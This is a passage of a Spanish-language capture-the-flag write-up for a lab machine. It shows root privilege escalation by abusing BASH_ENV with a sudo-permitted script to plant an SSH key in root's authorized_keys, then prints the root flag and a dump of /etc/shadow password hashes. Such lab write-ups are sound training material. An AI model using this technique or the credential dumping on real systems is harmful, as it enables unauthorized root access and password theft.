binfmt_misc  on  /proc/sys/fs/binfmt_misc                             type  binfmt_misc  (rw,nosuid,nodev,noexec,relatime)
tmpfs        on  /run/user/1000                                       type  tmpfs        (rw,nosuid,nodev,relatime,size=400916k,nr_inodes=100229,mode=700,uid=1000,gid=1000,inode64)
tmpfs        on  /run/user/0                                          type  tmpfs        (rw,nosuid,nodev,relatime,size=400916k,nr_inodes=100229,mode=700,inode64)

### Checking system resource limits ###
real-time non-blocking time  (microseconds, -R) unlimited
core file size              (blocks, -c) 0
data seg size               (kbytes, -d) unlimited
scheduling priority                 (-e) 0
file size                   (blocks, -f) unlimited
pending signals                     (-i) 15474
max locked memory           (kbytes, -l) 501144
max memory size             (kbytes, -m) unlimited
open files                          (-n) 1024
pipe size                (512 bytes, -p) 8
POSIX message queues         (bytes, -q) 819200
real-time priority                  (-r) 0
stack size                  (kbytes, -s) 8192
cpu time                   (seconds, -t) unlimited
max user processes                  (-u) 15474
virtual memory              (kbytes, -v) unlimited
file locks                          (-x) unlimited

### Displaying loaded kernel modules ###
Module                  Size  Used by
tcp_diag               16384  0
inet_diag              24576  1 tcp_diag
intel_rapl_msr         20480  0
intel_rapl_common      32768  1 intel_rapl_msr
ghash_clmulni_intel    16384  0
sha512_ssse3           49152  0
sha512_generic         16384  1 sha512_ssse3
sha256_ssse3           32768  0
vsock_loopback         16384  0

### Checking disk usage for all filesystems ###
Filesystem      Size  Used Avail Use% Mounted on
udev            1.9G     0  1.9G   0% /dev
tmpfs           392M  696K  391M   1% /run
/dev/sda1       3.8G  1.6G  2.1G  43% /
tmpfs           2.0G   28K  2.0G   1% /dev/shm
tmpfs           5.0M     0  5.0M   0% /run/lock
tmpfs           392M     0  392M   0% /run/user/1000
tmpfs           392M     0  392M   0% /run/user/0
hish@environment:~$

BASH_ENV

Cuando la variable BASH_ENV esta definida y se ejecuta un archivo en modo ’no-interactivo’, se ejecuta el script/archivo definido en la sesion actual. Realizamos un test asignando a la variable un script con contenido de ejecucion de un echo.

1
2
3
echo "echo 'test'" > /tmp/file
chmod +x /tmp/file
BASH_ENV=/tmp/file sudo /usr/bin/systeminfo

Tras la ejecucion se observa que el script se ejecuto.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
hish@environment:~$ BASH_ENV=/tmp/file sudo /usr/bin/systeminfo
BASH_ENV=/tmp/file sudo /usr/bin/systeminfo
test                                  # <------------------------------ echo 'test'

### Displaying kernel ring buffer logs (dmesg) ###
[    4.735130] vmwgfx 0000:00:0f.0: [drm] Available shader model: Legacy.
[... snip ...]

### Checking disk usage for all filesystems ###
Filesystem      Size  Used Avail Use% Mounted on
udev            1.9G     0  1.9G   0% /dev
tmpfs           392M  684K  391M   1% /run
/dev/sda1       3.8G  1.6G  2.1G  43% /
tmpfs           2.0G   28K  2.0G   1% /dev/shm
tmpfs           5.0M     0  5.0M   0% /run/lock
tmpfs           392M     0  392M   0% /run/user/1000
hish@environment:~$

Shell

Generamos una clave privada para el usuario hish.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
hish@environment:~$ ssh-keygen
ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/hish/.ssh/id_rsa): 

Created directory '/home/hish/.ssh'.
Enter passphrase (empty for no passphrase): 

Enter same passphrase again: 

Your identification has been saved in /home/hish/.ssh/id_rsa
Your public key has been saved in /home/hish/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:SECluApk9mYPF49Qq4YpgZ8smPNQtjkeUmA2KdInQ7k hish@environment
The key's randomart image is:
+---[RSA 3072]----+
|.*oooo.          |
|*o*.oo.          |
|=+=*.o.          |
|=OE=o.+.         |
|XoXB o..S        |
|oO+o+            |
|. o  .           |
|                 |
|                 |
+----[SHA256]-----+
hish@environment:~$

Agregamos el contenido de la clave publica al archivo authorized_keys del usuario root.

1
2
echo "cat /home/hish/.ssh/id_rsa.pub > /root/.ssh/authorized_keys" > /tmp/file
BASH_ENV=/tmp/file sudo /usr/bin/systeminfo

Realizamos la ejecucion.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
hish@environment:~$ BASH_ENV=/tmp/file sudo /usr/bin/systeminfo

### Displaying kernel ring buffer logs (dmesg) ###
[    4.735130] vmwgfx 0000:00:0f.0: [drm] Available shader model: Legacy.
[... snip ...]

### Checking disk usage for all filesystems ###
Filesystem      Size  Used Avail Use% Mounted on
udev            1.9G     0  1.9G   0% /dev
tmpfs           392M  684K  391M   1% /run
/dev/sda1       3.8G  1.6G  2.1G  43% /
tmpfs           2.0G   28K  2.0G   1% /dev/shm
tmpfs           5.0M     0  5.0M   0% /run/lock
tmpfs           392M     0  392M   0% /run/user/1000
hish@environment:~$

Ingresamos como root por SSH localmente logrando acceder a este usuario y a la flag root.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
hish@environment:~$ ssh root@localhost
ssh root@localhost
The authenticity of host 'localhost (::1)' can't be established.
ED25519 key fingerprint is SHA256:GKtBN7PjK58Q8eTT80jQMUZYS5ZLu8ccptkyIueks18.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
yes
Warning: Permanently added 'localhost' (ED25519) to the list of known hosts.
Linux environment 6.1.0-34-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.135-1 (2025-04-25) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon May 5 14:07:35 2025 from ::1
root@environment:~# whoami;id
whoami;id
root
uid=0(root) gid=0(root) groups=0(root)
root@environment:~# ls
ls
root.txt  scripts
root@environment:~# cat root.txt
cat root.txt
da9e1e74a45e5a084161e7a9737e134a
root@environment:~#

Dump Hashes

Realizamos la lectura del archivo /etc/shadow.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
root:$y$j9T$ri4ncGGOHy2ucyMf0/wae1$qfFOfsAj1qUCeQyGnjCYhdLQ9XqcCOBscht51lZEei1:20094:0:99999:7:::
daemon:*:20094:0:99999:7:::
bin:*:20094:0:99999:7:::
sys:*:20094:0:99999:7:::
sync:*:20094:0:99999:7:::
games:*:20094:0:99999:7:::
man:*:20094:0:99999:7:::
lp:*:20094:0:99999:7:::
mail:*:20094:0:99999:7:::
news:*:20094:0:99999:7:::
uucp:*:20094:0:99999:7:::
proxy:*:20094:0:99999:7:::
www-data:*:20094:0:99999:7:::
backup:*:20094:0:99999:7:::
list:*:20094:0:99999:7:::
irc:*:20094:0:99999:7:::
_apt:*:20094:0:99999:7:::
nobody:*:20094:0:99999:7:::
systemd-network:!*:20094::::::
systemd-timesync:!*:20094::::::
messagebus:!:20094::::::
avahi-autoipd:!:20094::::::
sshd:!:20094::::::
hish:$y$j9T$4I1ToSPTrzuz2EoDweHsP/$7rS9lhc9.n/Hrx4r.bJ9KsKIpOaPDV0mj4pgLV2PF/7:20094:0:99999:7:::
_laurel:!:20185::::::
Share on

Dany Sucuc
WRITTEN BY
sckull